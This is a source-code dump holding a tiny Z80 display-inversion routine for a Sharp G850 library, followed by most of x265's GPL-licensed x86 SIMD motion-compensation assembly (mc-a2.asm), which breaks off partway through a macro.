"ClArtistic"
] | 215 | 2017-01-17T10:43:03.000Z | 2022-03-23T17:25:02.000Z | ;
; G850 library
;
;--------------------------------------------------------------
;
; $Id: invlcd.asm $
;
;----------------------------------------------------------------
;
; invlcd(1) - invert display
; invlcd(0) - restore display
;
;----------------------------------------------------------------
SECTION code_clib
PUBLIC invlcd
PUBLIC _invlcd
invlcd:
_invlcd:
ld a,166
add l
out (64),a
ret
| 17.92 | 65 | 0.303571 |
ba9e91f0706abe62ae2b34b59e49406e7ff4ea36 | 34,907 | asm | Assembly | x265/source/common/x86/mc-a2.asm | xu5343/ffmpegtoolkit_CentOS7 | 974496c709a1c8c69034e46ae5ce7101cf03716f | [
"Apache-2.0"
] | 14 | 2019-02-26T22:22:32.000Z | 2022-03-03T07:06:58.000Z | x265/source/common/x86/mc-a2.asm | xu5343/ffmpegtoolkit_CentOS7 | 974496c709a1c8c69034e46ae5ce7101cf03716f | [
"Apache-2.0"
] | null | null | null | x265/source/common/x86/mc-a2.asm | xu5343/ffmpegtoolkit_CentOS7 | 974496c709a1c8c69034e46ae5ce7101cf03716f | [
"Apache-2.0"
] | 7 | 2019-05-17T19:14:10.000Z | 2021-08-31T01:54:40.000Z | ;*****************************************************************************
;* mc-a2.asm: x86 motion compensation
;*****************************************************************************
;* Copyright (C) 2003-2013 x264 project
;* Copyright (C) 2013-2017 MulticoreWare, Inc
;*
;* Authors: Loren Merritt <lorenm@u.washington.edu>
;* Fiona Glaser <fiona@x264.com>
;* Holger Lubitz <holger@lubitz.org>
;* Mathieu Monnier <manao@melix.net>
;* Oskar Arvidsson <oskar@irock.se>
;* Min Chen <chenm003@163.com>
;*
;* This program is free software; you can redistribute it and/or modify
;* it under the terms of the GNU General Public License as published by
;* the Free Software Foundation; either version 2 of the License, or
;* (at your option) any later version.
;*
;* This program is distributed in the hope that it will be useful,
;* but WITHOUT ANY WARRANTY; without even the implied warranty of
;* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
;* GNU General Public License for more details.
;*
;* You should have received a copy of the GNU General Public License
;* along with this program; if not, write to the Free Software
;* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02111, USA.
;*
;* This program is also available under a commercial proprietary license.
;* For more information, contact us at license @ x265.com.
;*****************************************************************************
%include "x86inc.asm"
%include "x86util.asm"
SECTION_RODATA 32
deinterleave_shuf: times 2 db 0,2,4,6,8,10,12,14,1,3,5,7,9,11,13,15
%if HIGH_BIT_DEPTH
deinterleave_shuf32a: SHUFFLE_MASK_W 0,2,4,6,8,10,12,14
deinterleave_shuf32b: SHUFFLE_MASK_W 1,3,5,7,9,11,13,15
%else
deinterleave_shuf32a: db 0,2,4,6,8,10,12,14,16,18,20,22,24,26,28,30
deinterleave_shuf32b: db 1,3,5,7,9,11,13,15,17,19,21,23,25,27,29,31
%endif
cutree_fix8_unpack_shuf: db -1,-1, 0, 1,-1,-1, 2, 3,-1,-1, 4, 5,-1,-1, 6, 7
db -1,-1, 8, 9,-1,-1,10,11,-1,-1,12,13,-1,-1,14,15
const pq_256, times 4 dq 256.0
const pd_inv256, times 4 dq 0.00390625
const pd_0_5, times 4 dq 0.5
SECTION .text
cextern pb_0
cextern pw_1
cextern pw_16
cextern pw_32
cextern pw_512
cextern pw_00ff
cextern pw_1024
cextern pw_3fff
cextern pw_pixel_max
cextern pd_ffff
cextern pd_16
;The hpel_filter routines use non-temporal writes for output.
;The following defines may be uncommented for testing.
;Doing the hpel_filter temporal may be a win if the last level cache
;is big enough (preliminary benching suggests on the order of 4* framesize).
;%define movntq movq
;%define movntps movaps
;%define sfence
%if HIGH_BIT_DEPTH == 0
%undef movntq
%undef movntps
%undef sfence
%endif ; !HIGH_BIT_DEPTH
;-----------------------------------------------------------------------------
; void plane_copy_core( pixel *dst, intptr_t i_dst,
; pixel *src, intptr_t i_src, int w, int h )
;-----------------------------------------------------------------------------
; assumes i_dst and w are multiples of 16, and i_dst>w
INIT_MMX
cglobal plane_copy_core_mmx2, 6,7
FIX_STRIDES r1, r3, r4d
%if HIGH_BIT_DEPTH == 0
movsxdifnidn r4, r4d
%endif
sub r1, r4
sub r3, r4
.loopy:
lea r6d, [r4-63]
.loopx:
prefetchnta [r2+256]
movq m0, [r2 ]
movq m1, [r2+ 8]
movntq [r0 ], m0
movntq [r0+ 8], m1
movq m2, [r2+16]
movq m3, [r2+24]
movntq [r0+16], m2
movntq [r0+24], m3
movq m4, [r2+32]
movq m5, [r2+40]
movntq [r0+32], m4
movntq [r0+40], m5
movq m6, [r2+48]
movq m7, [r2+56]
movntq [r0+48], m6
movntq [r0+56], m7
add r2, 64
add r0, 64
sub r6d, 64
jg .loopx
prefetchnta [r2+256]
add r6d, 63
jle .end16
.loop16:
movq m0, [r2 ]
movq m1, [r2+8]
movntq [r0 ], m0
movntq [r0+8], m1
add r2, 16
add r0, 16
sub r6d, 16
jg .loop16
.end16:
add r0, r1
add r2, r3
dec r5d
jg .loopy
sfence
emms
RET
%macro INTERLEAVE 4-5 ; dst, srcu, srcv, is_aligned, nt_hint
%if HIGH_BIT_DEPTH
%assign x 0
%rep 16/mmsize
mov%4 m0, [%2+(x/2)*mmsize]
mov%4 m1, [%3+(x/2)*mmsize]
punpckhwd m2, m0, m1
punpcklwd m0, m1
mov%5a [%1+(x+0)*mmsize], m0
mov%5a [%1+(x+1)*mmsize], m2
%assign x (x+2)
%endrep
%else
movq m0, [%2]
%if mmsize==16
%ifidn %4, a
punpcklbw m0, [%3]
%else
movq m1, [%3]
punpcklbw m0, m1
%endif
mov%5a [%1], m0
%else
movq m1, [%3]
punpckhbw m2, m0, m1
punpcklbw m0, m1
mov%5a [%1+0], m0
mov%5a [%1+8], m2
%endif
%endif ; HIGH_BIT_DEPTH
%endmacro
%macro DEINTERLEAVE 6 ; dstu, dstv, src, dstv==dstu+8, shuffle constant, is aligned
%if HIGH_BIT_DEPTH
%assign n 0
%rep 16/mmsize
mova m0, [%3+(n+0)*mmsize]
mova m1, [%3+(n+1)*mmsize]
psrld m2, m0, 16
psrld m3, m1, 16
pand m0, %5
pand m1, %5
packssdw m0, m1
packssdw m2, m3
mov%6 [%1+(n/2)*mmsize], m0
mov%6 [%2+(n/2)*mmsize], m2
%assign n (n+2)
%endrep
%else ; !HIGH_BIT_DEPTH
%if mmsize==16
mova m0, [%3]
%if cpuflag(ssse3)
pshufb m0, %5
%else
mova m1, m0
pand m0, %5
psrlw m1, 8
packuswb m0, m1
%endif
%if %4
mova [%1], m0
%else
movq [%1], m0
movhps [%2], m0
%endif
%else
mova m0, [%3]
mova m1, [%3+8]
mova m2, m0
mova m3, m1
pand m0, %5
pand m1, %5
psrlw m2, 8
psrlw m3, 8
packuswb m0, m1
packuswb m2, m3
mova [%1], m0
mova [%2], m2
%endif ; mmsize == 16
%endif ; HIGH_BIT_DEPTH
%endmacro
%macro PLANE_INTERLEAVE 0
;-----------------------------------------------------------------------------
; void plane_copy_interleave_core( uint8_t *dst, intptr_t i_dst,
; uint8_t *srcu, intptr_t i_srcu,
; uint8_t *srcv, intptr_t i_srcv, int w, int h )
;-----------------------------------------------------------------------------
; assumes i_dst and w are multiples of 16, and i_dst>2*w
cglobal plane_copy_interleave_core, 6,9
mov r6d, r6m
%if HIGH_BIT_DEPTH
FIX_STRIDES r1, r3, r5, r6d
movifnidn r1mp, r1
movifnidn r3mp, r3
mov r6m, r6d
%endif
lea r0, [r0+r6*2]
add r2, r6
add r4, r6
%if ARCH_X86_64
DECLARE_REG_TMP 7,8
%else
DECLARE_REG_TMP 1,3
%endif
mov t1, r1
shr t1, SIZEOF_PIXEL
sub t1, r6
mov t0d, r7m
.loopy:
mov r6d, r6m
neg r6
.prefetch:
prefetchnta [r2+r6]
prefetchnta [r4+r6]
add r6, 64
jl .prefetch
mov r6d, r6m
neg r6
.loopx:
INTERLEAVE r0+r6*2+ 0*SIZEOF_PIXEL, r2+r6+0*SIZEOF_PIXEL, r4+r6+0*SIZEOF_PIXEL, u, nt
INTERLEAVE r0+r6*2+16*SIZEOF_PIXEL, r2+r6+8*SIZEOF_PIXEL, r4+r6+8*SIZEOF_PIXEL, u, nt
add r6, 16*SIZEOF_PIXEL
jl .loopx
.pad:
%assign n 0
%rep SIZEOF_PIXEL
%if mmsize==8
movntq [r0+r6*2+(n+ 0)], m0
movntq [r0+r6*2+(n+ 8)], m0
movntq [r0+r6*2+(n+16)], m0
movntq [r0+r6*2+(n+24)], m0
%else
movntdq [r0+r6*2+(n+ 0)], m0
movntdq [r0+r6*2+(n+16)], m0
%endif
%assign n n+32
%endrep
add r6, 16*SIZEOF_PIXEL
cmp r6, t1
jl .pad
add r0, r1mp
add r2, r3mp
add r4, r5
dec t0d
jg .loopy
sfence
emms
RET
;-----------------------------------------------------------------------------
; void store_interleave_chroma( uint8_t *dst, intptr_t i_dst, uint8_t *srcu, uint8_t *srcv, int height )
;-----------------------------------------------------------------------------
cglobal store_interleave_chroma, 5,5
FIX_STRIDES r1
.loop:
INTERLEAVE r0+ 0, r2+ 0, r3+ 0, a
INTERLEAVE r0+r1, r2+FDEC_STRIDEB, r3+FDEC_STRIDEB, a
add r2, FDEC_STRIDEB*2
add r3, FDEC_STRIDEB*2
lea r0, [r0+r1*2]
sub r4d, 2
jg .loop
RET
%endmacro ; PLANE_INTERLEAVE
%macro DEINTERLEAVE_START 0
%if HIGH_BIT_DEPTH
mova m4, [pd_ffff]
%elif cpuflag(ssse3)
mova m4, [deinterleave_shuf]
%else
mova m4, [pw_00ff]
%endif ; HIGH_BIT_DEPTH
%endmacro
%macro PLANE_DEINTERLEAVE 0
;-----------------------------------------------------------------------------
; void plane_copy_deinterleave( pixel *dstu, intptr_t i_dstu,
; pixel *dstv, intptr_t i_dstv,
; pixel *src, intptr_t i_src, int w, int h )
;-----------------------------------------------------------------------------
cglobal plane_copy_deinterleave, 6,7
DEINTERLEAVE_START
mov r6d, r6m
FIX_STRIDES r1, r3, r5, r6d
%if HIGH_BIT_DEPTH
mov r6m, r6d
%endif
add r0, r6
add r2, r6
lea r4, [r4+r6*2]
.loopy:
mov r6d, r6m
neg r6
.loopx:
DEINTERLEAVE r0+r6+0*SIZEOF_PIXEL, r2+r6+0*SIZEOF_PIXEL, r4+r6*2+ 0*SIZEOF_PIXEL, 0, m4, u
DEINTERLEAVE r0+r6+8*SIZEOF_PIXEL, r2+r6+8*SIZEOF_PIXEL, r4+r6*2+16*SIZEOF_PIXEL, 0, m4, u
add r6, 16*SIZEOF_PIXEL
jl .loopx
add r0, r1
add r2, r3
add r4, r5
dec dword r7m
jg .loopy
RET
;-----------------------------------------------------------------------------
; void load_deinterleave_chroma_fenc( pixel *dst, pixel *src, intptr_t i_src, int height )
;-----------------------------------------------------------------------------
cglobal load_deinterleave_chroma_fenc, 4,4
DEINTERLEAVE_START
FIX_STRIDES r2
.loop:
DEINTERLEAVE r0+ 0, r0+FENC_STRIDEB*1/2, r1+ 0, 1, m4, a
DEINTERLEAVE r0+FENC_STRIDEB, r0+FENC_STRIDEB*3/2, r1+r2, 1, m4, a
add r0, FENC_STRIDEB*2
lea r1, [r1+r2*2]
sub r3d, 2
jg .loop
RET
;-----------------------------------------------------------------------------
; void load_deinterleave_chroma_fdec( pixel *dst, pixel *src, intptr_t i_src, int height )
;-----------------------------------------------------------------------------
cglobal load_deinterleave_chroma_fdec, 4,4
DEINTERLEAVE_START
FIX_STRIDES r2
.loop:
DEINTERLEAVE r0+ 0, r0+FDEC_STRIDEB*1/2, r1+ 0, 0, m4, a
DEINTERLEAVE r0+FDEC_STRIDEB, r0+FDEC_STRIDEB*3/2, r1+r2, 0, m4, a
add r0, FDEC_STRIDEB*2
lea r1, [r1+r2*2]
sub r3d, 2
jg .loop
RET
%endmacro ; PLANE_DEINTERLEAVE
%if HIGH_BIT_DEPTH
INIT_MMX mmx2
PLANE_INTERLEAVE
INIT_MMX mmx
PLANE_DEINTERLEAVE
INIT_XMM sse2
PLANE_INTERLEAVE
PLANE_DEINTERLEAVE
INIT_XMM avx
PLANE_INTERLEAVE
PLANE_DEINTERLEAVE
%else
INIT_MMX mmx2
PLANE_INTERLEAVE
INIT_MMX mmx
PLANE_DEINTERLEAVE
INIT_XMM sse2
PLANE_INTERLEAVE
PLANE_DEINTERLEAVE
INIT_XMM ssse3
PLANE_DEINTERLEAVE
%endif
; These functions are not general-use; not only do the SSE ones require aligned input,
; but they also will fail if given a non-mod16 size.
; memzero SSE will fail for non-mod128.
;-----------------------------------------------------------------------------
; void *memcpy_aligned( void *dst, const void *src, size_t n );
;-----------------------------------------------------------------------------
%macro MEMCPY 0
cglobal memcpy_aligned, 3,3
%if mmsize == 16
test r2d, 16
jz .copy2
mova m0, [r1+r2-16]
mova [r0+r2-16], m0
sub r2d, 16
.copy2:
%endif
test r2d, 2*mmsize
jz .copy4start
mova m0, [r1+r2-1*mmsize]
mova m1, [r1+r2-2*mmsize]
mova [r0+r2-1*mmsize], m0
mova [r0+r2-2*mmsize], m1
sub r2d, 2*mmsize
.copy4start:
test r2d, r2d
jz .ret
.copy4:
mova m0, [r1+r2-1*mmsize]
mova m1, [r1+r2-2*mmsize]
mova m2, [r1+r2-3*mmsize]
mova m3, [r1+r2-4*mmsize]
mova [r0+r2-1*mmsize], m0
mova [r0+r2-2*mmsize], m1
mova [r0+r2-3*mmsize], m2
mova [r0+r2-4*mmsize], m3
sub r2d, 4*mmsize
jg .copy4
.ret:
REP_RET
%endmacro
INIT_MMX mmx
MEMCPY
INIT_XMM sse
MEMCPY
;-----------------------------------------------------------------------------
; void *memzero_aligned( void *dst, size_t n );
;-----------------------------------------------------------------------------
%macro MEMZERO 1
cglobal memzero_aligned, 2,2
add r0, r1
neg r1
%if mmsize == 8
pxor m0, m0
%else
xorps m0, m0
%endif
.loop:
%assign i 0
%rep %1
mova [r0 + r1 + i], m0
%assign i i+mmsize
%endrep
add r1, mmsize*%1
jl .loop
RET
%endmacro
INIT_MMX mmx
MEMZERO 8
INIT_XMM sse
MEMZERO 8
INIT_YMM avx
MEMZERO 4
%if HIGH_BIT_DEPTH == 0
;-----------------------------------------------------------------------------
; void integral_init4h( uint16_t *sum, uint8_t *pix, intptr_t stride )
;-----------------------------------------------------------------------------
%macro INTEGRAL_INIT4H 0
cglobal integral_init4h, 3,4
lea r3, [r0+r2*2]
add r1, r2
neg r2
pxor m4, m4
.loop:
mova m0, [r1+r2]
%if mmsize==32
movu m1, [r1+r2+8]
%else
mova m1, [r1+r2+16]
palignr m1, m0, 8
%endif
mpsadbw m0, m4, 0
mpsadbw m1, m4, 0
paddw m0, [r0+r2*2]
paddw m1, [r0+r2*2+mmsize]
mova [r3+r2*2 ], m0
mova [r3+r2*2+mmsize], m1
add r2, mmsize
jl .loop
RET
%endmacro
INIT_XMM sse4
INTEGRAL_INIT4H
INIT_YMM avx2
INTEGRAL_INIT4H
%macro INTEGRAL_INIT8H 0
cglobal integral_init8h, 3,4
lea r3, [r0+r2*2]
add r1, r2
neg r2
pxor m4, m4
.loop:
mova m0, [r1+r2]
%if mmsize==32
movu m1, [r1+r2+8]
mpsadbw m2, m0, m4, 100100b
mpsadbw m3, m1, m4, 100100b
%else
mova m1, [r1+r2+16]
palignr m1, m0, 8
mpsadbw m2, m0, m4, 100b
mpsadbw m3, m1, m4, 100b
%endif
mpsadbw m0, m4, 0
mpsadbw m1, m4, 0
paddw m0, [r0+r2*2]
paddw m1, [r0+r2*2+mmsize]
paddw m0, m2
paddw m1, m3
mova [r3+r2*2 ], m0
mova [r3+r2*2+mmsize], m1
add r2, mmsize
jl .loop
RET
%endmacro
INIT_XMM sse4
INTEGRAL_INIT8H
INIT_XMM avx
INTEGRAL_INIT8H
INIT_YMM avx2
INTEGRAL_INIT8H
%endif ; !HIGH_BIT_DEPTH
%macro INTEGRAL_INIT_8V 0
;-----------------------------------------------------------------------------
; void integral_init8v( uint16_t *sum8, intptr_t stride )
;-----------------------------------------------------------------------------
cglobal integral_init8v, 3,3
add r1, r1
add r0, r1
lea r2, [r0+r1*8]
neg r1
.loop:
mova m0, [r2+r1]
mova m1, [r2+r1+mmsize]
psubw m0, [r0+r1]
psubw m1, [r0+r1+mmsize]
mova [r0+r1], m0
mova [r0+r1+mmsize], m1
add r1, 2*mmsize
jl .loop
RET
%endmacro
INIT_MMX mmx
INTEGRAL_INIT_8V
INIT_XMM sse2
INTEGRAL_INIT_8V
INIT_YMM avx2
INTEGRAL_INIT_8V
;-----------------------------------------------------------------------------
; void integral_init4v( uint16_t *sum8, uint16_t *sum4, intptr_t stride )
;-----------------------------------------------------------------------------
INIT_MMX mmx
cglobal integral_init4v, 3,5
shl r2, 1
lea r3, [r0+r2*4]
lea r4, [r0+r2*8]
mova m0, [r0+r2]
mova m4, [r4+r2]
.loop:
mova m1, m4
psubw m1, m0
mova m4, [r4+r2-8]
mova m0, [r0+r2-8]
paddw m1, m4
mova m3, [r3+r2-8]
psubw m1, m0
psubw m3, m0
mova [r0+r2-8], m1
mova [r1+r2-8], m3
sub r2, 8
jge .loop
RET
INIT_XMM sse2
cglobal integral_init4v, 3,5
shl r2, 1
add r0, r2
add r1, r2
lea r3, [r0+r2*4]
lea r4, [r0+r2*8]
neg r2
.loop:
mova m0, [r0+r2]
mova m1, [r4+r2]
mova m2, m0
mova m4, m1
shufpd m0, [r0+r2+16], 1
shufpd m1, [r4+r2+16], 1
paddw m0, m2
paddw m1, m4
mova m3, [r3+r2]
psubw m1, m0
psubw m3, m2
mova [r0+r2], m1
mova [r1+r2], m3
add r2, 16
jl .loop
RET
INIT_XMM ssse3
cglobal integral_init4v, 3,5
shl r2, 1
add r0, r2
add r1, r2
lea r3, [r0+r2*4]
lea r4, [r0+r2*8]
neg r2
.loop:
mova m2, [r0+r2]
mova m0, [r0+r2+16]
mova m4, [r4+r2]
mova m1, [r4+r2+16]
palignr m0, m2, 8
palignr m1, m4, 8
paddw m0, m2
paddw m1, m4
mova m3, [r3+r2]
psubw m1, m0
psubw m3, m2
mova [r0+r2], m1
mova [r1+r2], m3
add r2, 16
jl .loop
RET
INIT_YMM avx2
cglobal integral_init4v, 3,5
add r2, r2
add r0, r2
add r1, r2
lea r3, [r0+r2*4]
lea r4, [r0+r2*8]
neg r2
.loop:
mova m2, [r0+r2]
movu m1, [r4+r2+8]
paddw m0, m2, [r0+r2+8]
paddw m1, [r4+r2]
mova m3, [r3+r2]
psubw m1, m0
psubw m3, m2
mova [r0+r2], m1
mova [r1+r2], m3
add r2, 32
jl .loop
RET
%macro FILT8x4 7
mova %3, [r0+%7]
mova %4, [r0+r5+%7]
pavgb %3, %4
pavgb %4, [r0+r5*2+%7]
PALIGNR %1, %3, 1, m6
PALIGNR %2, %4, 1, m6
%if cpuflag(xop)
pavgb %1, %3
pavgb %2, %4
%else
pavgb %1, %3
pavgb %2, %4
psrlw %5, %1, 8
psrlw %6, %2, 8
pand %1, m7
pand %2, m7
%endif
%endmacro
%macro FILT32x4U 4
movu m1, [r0+r5]
pavgb m0, m1, [r0]
movu m3, [r0+r5+1]
pavgb m2, m3, [r0+1]
pavgb m1, [r0+r5*2]
pavgb m3, [r0+r5*2+1]
pavgb m0, m2
pavgb m1, m3
movu m3, [r0+r5+mmsize]
pavgb m2, m3, [r0+mmsize]
movu m5, [r0+r5+1+mmsize]
pavgb m4, m5, [r0+1+mmsize]
pavgb m3, [r0+r5*2+mmsize]
pavgb m5, [r0+r5*2+1+mmsize]
pavgb m2, m4
pavgb m3, m5
pshufb m0, m7
pshufb m1, m7
pshufb m2, m7
pshufb m3, m7
punpckhqdq m4, m0, m2
punpcklqdq m0, m0, m2
punpckhqdq m5, m1, m3
punpcklqdq m2, m1, m3
vpermq m0, m0, q3120
vpermq m1, m4, q3120
vpermq m2, m2, q3120
vpermq m3, m5, q3120
movu [%1], m0
movu [%2], m1
movu [%3], m2
movu [%4], m3
%endmacro
%macro FILT16x2 4
mova m3, [r0+%4+mmsize]
mova m2, [r0+%4]
pavgb m3, [r0+%4+r5+mmsize]
pavgb m2, [r0+%4+r5]
PALIGNR %1, m3, 1, m6
pavgb %1, m3
PALIGNR m3, m2, 1, m6
pavgb m3, m2
%if cpuflag(xop)
vpperm m5, m3, %1, m7
vpperm m3, m3, %1, m6
%else
psrlw m5, m3, 8
psrlw m4, %1, 8
pand m3, m7
pand %1, m7
packuswb m3, %1
packuswb m5, m4
%endif
mova [%2], m3
mova [%3], m5
mova %1, m2
%endmacro
%macro FILT8x2U 3
mova m3, [r0+%3+8]
mova m2, [r0+%3]
pavgb m3, [r0+%3+r5+8]
pavgb m2, [r0+%3+r5]
mova m1, [r0+%3+9]
mova m0, [r0+%3+1]
pavgb m1, [r0+%3+r5+9]
pavgb m0, [r0+%3+r5+1]
pavgb m1, m3
pavgb m0, m2
psrlw m3, m1, 8
psrlw m2, m0, 8
pand m1, m7
pand m0, m7
packuswb m0, m1
packuswb m2, m3
mova [%1], m0
mova [%2], m2
%endmacro
%macro FILT8xU 3
mova m3, [r0+%3+8]
mova m2, [r0+%3]
pavgw m3, [r0+%3+r5+8]
pavgw m2, [r0+%3+r5]
movu m1, [r0+%3+10]
movu m0, [r0+%3+2]
pavgw m1, [r0+%3+r5+10]
pavgw m0, [r0+%3+r5+2]
pavgw m1, m3
pavgw m0, m2
psrld m3, m1, 16
psrld m2, m0, 16
pand m1, m7
pand m0, m7
packssdw m0, m1
packssdw m2, m3
movu [%1], m0
mova [%2], m2
%endmacro
%macro FILT8xA 4
movu m3, [r0+%4+mmsize]
movu m2, [r0+%4]
pavgw m3, [r0+%4+r5+mmsize]
pavgw m2, [r0+%4+r5]
PALIGNR %1, m3, 2, m6
pavgw %1, m3
PALIGNR m3, m2, 2, m6
pavgw m3, m2
%if cpuflag(xop)
vpperm m5, m3, %1, m7
vpperm m3, m3, %1, m6
%else
psrld m5, m3, 16
psrld m4, %1, 16
pand m3, m7
pand %1, m7
packssdw m3, %1
packssdw m5, m4
%endif
%if cpuflag(avx2)
vpermq m3, m3, q3120
vpermq m5, m5, q3120
%endif
movu [%2], m3
movu [%3], m5
movu %1, m2
%endmacro
;-----------------------------------------------------------------------------
; void frame_init_lowres_core( uint8_t *src0, uint8_t *dst0, uint8_t *dsth, uint8_t *dstv, uint8_t *dstc,
; intptr_t src_stride, intptr_t dst_stride, int width, int height )
;-----------------------------------------------------------------------------
%macro FRAME_INIT_LOWRES 0
cglobal frame_init_lowres_core, 6,7,(12-4*(BIT_DEPTH/9)) ; 8 for HIGH_BIT_DEPTH, 12 otherwise
%if HIGH_BIT_DEPTH
shl dword r6m, 1
FIX_STRIDES r5
shl dword r7m, 1
%endif
%if mmsize >= 16
add dword r7m, mmsize-1
and dword r7m, ~(mmsize-1)
%endif
; src += 2*(height-1)*stride + 2*width
mov r6d, r8m
dec r6d
imul r6d, r5d
add r6d, r7m
lea r0, [r0+r6*2]
; dst += (height-1)*stride + width
mov r6d, r8m
dec r6d
imul r6d, r6m
add r6d, r7m
add r1, r6
add r2, r6
add r3, r6
add r4, r6
; gap = stride - width
mov r6d, r6m
sub r6d, r7m
PUSH r6
%define dst_gap [rsp+gprsize]
mov r6d, r5d
sub r6d, r7m
shl r6d, 1
PUSH r6
%define src_gap [rsp]
%if HIGH_BIT_DEPTH
%if cpuflag(xop)
mova m6, [deinterleave_shuf32a]
mova m7, [deinterleave_shuf32b]
%else
pcmpeqw m7, m7
psrld m7, 16
%endif
.vloop:
mov r6d, r7m
%ifnidn cpuname, mmx2
movu m0, [r0]
movu m1, [r0+r5]
pavgw m0, m1
pavgw m1, [r0+r5*2]
%endif
.hloop:
sub r0, mmsize*2
sub r1, mmsize
sub r2, mmsize
sub r3, mmsize
sub r4, mmsize
%ifidn cpuname, mmx2
FILT8xU r1, r2, 0
FILT8xU r3, r4, r5
%else
FILT8xA m0, r1, r2, 0
FILT8xA m1, r3, r4, r5
%endif
sub r6d, mmsize
jg .hloop
%else ; !HIGH_BIT_DEPTH
%if cpuflag(avx2)
mova m7, [deinterleave_shuf]
%elif cpuflag(xop)
mova m6, [deinterleave_shuf32a]
mova m7, [deinterleave_shuf32b]
%else
pcmpeqb m7, m7
psrlw m7, 8
%endif
.vloop:
mov r6d, r7m
%ifnidn cpuname, mmx2
%if mmsize <= 16
mova m0, [r0]
mova m1, [r0+r5]
pavgb m0, m1
pavgb m1, [r0+r5*2]
%endif
%endif
.hloop:
sub r0, mmsize*2
sub r1, mmsize
sub r2, mmsize
sub r3, mmsize
sub r4, mmsize
%if mmsize==32
FILT32x4U r1, r2, r3, r4
%elifdef m8
FILT8x4 m0, m1, m2, m3, m10, m11, mmsize
mova m8, m0
mova m9, m1
FILT8x4 m2, m3, m0, m1, m4, m5, 0
%if cpuflag(xop)
vpperm m4, m2, m8, m7
vpperm m2, m2, m8, m6
vpperm m5, m3, m9, m7
vpperm m3, m3, m9, m6
%else
packuswb m2, m8
packuswb m3, m9
packuswb m4, m10
packuswb m5, m11
%endif
mova [r1], m2
mova [r2], m4
mova [r3], m3
mova [r4], m5
%elifidn cpuname, mmx2
FILT8x2U r1, r2, 0
FILT8x2U r3, r4, r5
%else
FILT16x2 m0, r1, r2, 0
FILT16x2 m1, r3, r4, r5
%endif
sub r6d, mmsize
jg .hloop
%endif ; HIGH_BIT_DEPTH
.skip:
mov r6, dst_gap
sub r0, src_gap
sub r1, r6
sub r2, r6
sub r3, r6
sub r4, r6
dec dword r8m
jg .vloop
ADD rsp, 2*gprsize
emms
RET
%endmacro ; FRAME_INIT_LOWRES
INIT_MMX mmx2
FRAME_INIT_LOWRES
%if ARCH_X86_64 == 0
INIT_MMX cache32, mmx2
FRAME_INIT_LOWRES
%endif
INIT_XMM sse2
FRAME_INIT_LOWRES
INIT_XMM ssse3
FRAME_INIT_LOWRES
INIT_XMM avx
FRAME_INIT_LOWRES
INIT_XMM xop
FRAME_INIT_LOWRES
%if ARCH_X86_64 == 1
INIT_YMM avx2
FRAME_INIT_LOWRES
%endif
;-----------------------------------------------------------------------------
; void mbtree_propagate_cost( int *dst, uint16_t *propagate_in, int32_t *intra_costs,
; uint16_t *inter_costs, int32_t *inv_qscales, double *fps_factor, int len )
;-----------------------------------------------------------------------------
INIT_XMM sse2
cglobal mbtree_propagate_cost, 7,7,7
dec r6d
movsd m6, [r5]
mulpd m6, [pd_inv256]
xor r5d, r5d
lea r0, [r0+r5*2]
pxor m4, m4
movlhps m6, m6
mova m5, [pw_3fff]
.loop:
movh m2, [r2+r5*4] ; intra
movh m0, [r4+r5*4] ; invq
movd m3, [r3+r5*2] ; inter
pand m3, m5
punpcklwd m3, m4
; PMINSD
pcmpgtd m1, m2, m3
pand m3, m1
pandn m1, m2
por m3, m1
movd m1, [r1+r5*2] ; prop
punpckldq m2, m2
punpckldq m0, m0
pmuludq m0, m2
pshufd m2, m2, q3120
pshufd m0, m0, q3120
punpcklwd m1, m4
cvtdq2pd m0, m0
mulpd m0, m6 ; intra*invq*fps_factor>>8
cvtdq2pd m1, m1 ; prop
addpd m0, m1 ; prop + (intra*invq*fps_factor>>8)
;cvtdq2ps m1, m2 ; intra
cvtdq2pd m1, m2 ; intra
psubd m2, m3 ; intra - inter
cvtdq2pd m2, m2 ; intra - inter
;rcpps m3, m1
;mulps m1, m3 ; intra * (1/intra 1st approx)
;mulps m1, m3 ; intra * (1/intra 1st approx)^2
;addps m3, m3 ; 2 * (1/intra 1st approx)
;subps m3, m1 ; 2nd approximation for 1/intra
;cvtps2pd m3, m3 ; 1 / intra 1st approximation
mulpd m0, m2 ; (prop + (intra*invq*fps_factor>>8)) * (intra - inter)
;mulpd m0, m3 ; / intra
; TODO: DIVPD very slow, but match to C model output, since it is not bottleneck function, I comment above faster code
divpd m0, m1
addpd m0, [pd_0_5]
cvttpd2dq m0, m0
movh [r0+r5*4], m0
add r5d, 2
cmp r5d, r6d
jl .loop
xor r6d, r5d
jnz .even
movd m2, [r2+r5*4] ; intra
movd m0, [r4+r5*4] ; invq
movd m3, [r3+r5*2] ; inter
pand m3, m5
punpcklwd m3, m4
; PMINSD
pcmpgtd m1, m2, m3
pand m3, m1
pandn m1, m2
por m3, m1
movd m1, [r1+r5*2] ; prop
punpckldq m2, m2 ; DWORD [_ 1 _ 0]
punpckldq m0, m0
pmuludq m0, m2 ; QWORD [m1 m0]
pshufd m2, m2, q3120
pshufd m0, m0, q3120
punpcklwd m1, m4
cvtdq2pd m0, m0
mulpd m0, m6 ; intra*invq*fps_factor>>8
cvtdq2pd m1, m1 ; prop
addpd m0, m1 ; prop + (intra*invq*fps_factor>>8)
cvtdq2pd m1, m2 ; intra
psubd m2, m3 ; intra - inter
cvtdq2pd m2, m2 ; intra - inter
mulpd m0, m2 ; (prop + (intra*invq*fps_factor>>8)) * (intra - inter)
divpd m0, m1
addpd m0, [pd_0_5]
cvttpd2dq m0, m0
movd [r0+r5*4], m0
.even:
RET
;-----------------------------------------------------------------------------
; void mbtree_propagate_cost( int *dst, uint16_t *propagate_in, int32_t *intra_costs,
; uint16_t *inter_costs, int32_t *inv_qscales, double *fps_factor, int len )
;-----------------------------------------------------------------------------
; FIXME: align loads/stores to 16 bytes
%macro MBTREE_AVX 0
cglobal mbtree_propagate_cost, 7,7,7
sub r6d, 3
vbroadcastsd m6, [r5]
mulpd m6, [pd_inv256]
xor r5d, r5d
mova m5, [pw_3fff]
.loop:
movu xm2, [r2+r5*4] ; intra
movu xm0, [r4+r5*4] ; invq
pmovzxwd xm3, [r3+r5*2] ; inter
pand xm3, xm5
pminsd xm3, xm2
pmovzxwd xm1, [r1+r5*2] ; prop
pmulld xm0, xm2
cvtdq2pd m0, xm0
cvtdq2pd m1, xm1 ; prop
;%if cpuflag(avx2)
; fmaddpd m0, m0, m6, m1
;%else
